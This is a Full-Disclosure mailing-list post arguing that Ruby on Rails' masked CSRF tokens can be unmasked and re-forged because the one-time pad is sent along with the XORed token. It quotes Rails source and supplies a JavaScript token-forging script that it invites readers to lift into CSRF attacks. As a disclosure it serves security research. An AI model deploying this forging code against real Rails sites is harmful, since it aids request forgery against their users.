lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <PH1P110MB13634ABCB1268A62904A5B83DA87A@PH1P110MB1363.NAMP110.PROD.OUTLOOK.COM>
Date: Sat, 26 Apr 2025 06:45:42 +0000
From: Daniel Owens via Fulldisclosure <fulldisclosure@...lists.org>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] Ruby on Rails Cross-Site Request Forgery

Good morning.  All current versions and all versions since the 2022/2023 "fix" to the Rails cross-site request forgery (CSRF) protections continue to be vulnerable to the same attacks as the 2022 implementation.  Currently, Rails generates "authenticity tokens" and "csrf tokens" using a random "one time pad" (OTP).  This random value is then XORed with the "raw token" (which can take one of two forms based on if per-form CSRF protections are in place).  Rails then, incorrectly, packages both the OTP and the XORed "raw token" together (through basic string concatenation) to form a "masked token", which is what is then sent to the user.  Since the key (in this case the OTP) is included with the "ciphertext", attackers can "decrypt" the "encrypted CSRF token", generate their own random value (OTP), and then recreate the token or simply replay the token.  Forging of the "raw token" can also be performed.  Below is some of the offending code from Rails main branch's request_forgery_protec
 tion.rb:

      # Creates a masked version of the authenticity token that varies on each
      # request. The masking is used to mitigate SSL attacks like BREACH.
      def masked_authenticity_token(form_options: {})
        action, method = form_options.values_at(:action, :method)

        raw_token = if per_form_csrf_tokens && action && method
          action_path = normalize_action_path(action)
          per_form_csrf_token(nil, action_path, method)
        else
          global_csrf_token
        end

        mask_token(raw_token)
      end

...

      def mask_token(raw_token) # :doc:
        one_time_pad = SecureRandom.random_bytes(AUTHENTICITY_TOKEN_LENGTH)
        encrypted_csrf_token = xor_byte_strings(one_time_pad, raw_token)
        masked_token = one_time_pad + encrypted_csrf_token
        encode_csrf_token(masked_token)
      end

...

      def real_csrf_token(_session = nil) # :doc:
        csrf_token = request.env.fetch(CSRF_TOKEN) do
          request.env[CSRF_TOKEN] = csrf_token_storage_strategy.fetch(request) || generate_csrf_token
        end

        decode_csrf_token(csrf_token)
      end

      def per_form_csrf_token(session, action_path, method) # :doc:
        csrf_token_hmac(session, [action_path, method.downcase].join("#"))
      end

...

      def csrf_token_hmac(session, identifier) # :doc:
        OpenSSL::HMAC.digest(
          OpenSSL::Digest::SHA256.new,
          real_csrf_token(session),
          identifier
        )
      end

...

      def real_csrf_token(_session = nil) # :doc:
        csrf_token = request.env.fetch(CSRF_TOKEN) do
          request.env[CSRF_TOKEN] = csrf_token_storage_strategy.fetch(request) || generate_csrf_token
        end

        decode_csrf_token(csrf_token)
      end

      def per_form_csrf_token(session, action_path, method) # :doc:
        csrf_token_hmac(session, [action_path, method.downcase].join("#"))
      end


For a simple JavaScript-based tool that can take any given CSRF token and forge a new token that has the same valid "raw token", see the below.  The code can easily be lifted and put into some website-specific CSRF attack (how you get your tokens is your business):

/**
* This method returns the "one time pad", extracting it from the full, base64 encoded token.
*
 * @param {string} full_token - The base64-encoded nonce intended to provide CSRF protections
* @return {Uint8Array} The "one time pad" as a byte array
*/
function getOpt(full_token) {
    var decoded_token = Uint8Array.from(atob(full_token), b => b.charCodeAt(0));
    return decoded_token.subarray(0, 32);
}

/**
* This method returns the raw (XORed) token from the CSRF token.  The "raw token" is defined by Rails as the CSRF token, which can either be global (per-form CSRF protections are disabled) or per-form (in which case it's a SHA256 hash of the session, action, and method).
*
 * @param {string} full_token - The base64-encoded nonce intended to provide CSRF protections
* @return {Uint8Array} The "raw token" as a byte array
*/
function getRawToken(full_token) {
    var decoded_token = Uint8Array.from(atob(full_token), b => b.charCodeAt(0));
    var otp = decoded_token.subarray(0, 32);
    var masked_token = decoded_token.subarray(32);
    var raw_token = new Uint8Array(masked_token.length);

    // XOR the OTP and "masked token"
    for(var i = 0; i < masked_token.length; i++) {
        raw_token[i] = (otp[i] ^ masked_token[i]) & 0xFF;
    }
    return raw_token;
}

/**
* This method returns a new cross-site request forgery token (CSRF) using the given "one time pad" and "raw token".
*
 * @param {Uint8Array} otp - The "one time pad" that we are going to make the masked token with
* @param {Uint8Array} raw_token - The byte array that is the "raw token"
* @return {String} The new CSRF token
*/
function getCsrfToken(otp, raw_token) {
    var masked_token = new Uint8Array(raw_token.length);

    // XOR the OTP and "raw token"
    for(var i = 0; i < raw_token.length; i++) {
        masked_token[i] = (otp[i] ^ raw_token[i]) & 0xFF;
    }

    // Merge the OTP and masked token into a single array
    var csrf_token = new Uint8Array(otp.length + masked_token.length);
    csrf_token.set(otp);
    csrf_token.set(masked_token, otp.length);

    // Base64 and remove the padding (because they remove it in Rails)
    return btoa(Array.from(csrf_token, b => String.fromCharCode(b)).join('')).replace(/=+$/, '');
}

/**
* This method is a "helper method" that is just here for looks.......
*
 * @param {Uint8Array} bytes - The byte array to turn into a hex string
* @return {String} A pretty hexidecimal string representation of the given array
*/
function byteArrayToHexString(bytes) {
    var hex_string = "";
    for(var i = 0; i < bytes.length; i++) {
        hex_string += ('0' + (bytes[i] & 0xFF).toString(16)).slice(-2);
    }
    return hex_string;
}

// Replace this with the stolen token or have your CSRF POC grab the token from the page and use that
var token = "INSERT YOUR TOKEN HERE";

// Change the OTP to something else
var otp = getOpt(token);
otp[0] = 0xFF;
otp[1] = 0x00;

// Prove that we produce the same raw token, which is all that matters
if(byteArrayToHexString(getRawToken(token)) == byteArrayToHexString(getRawToken(getCsrfToken(otp, getRawToken(token))))){
    console.log("The new token that works is: " + getCsrfToken(otp, getRawToken(token)));
    console.log("Go forth and forge away...");
}
else {
    console.log("We failed as testers/programmers...");
}

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ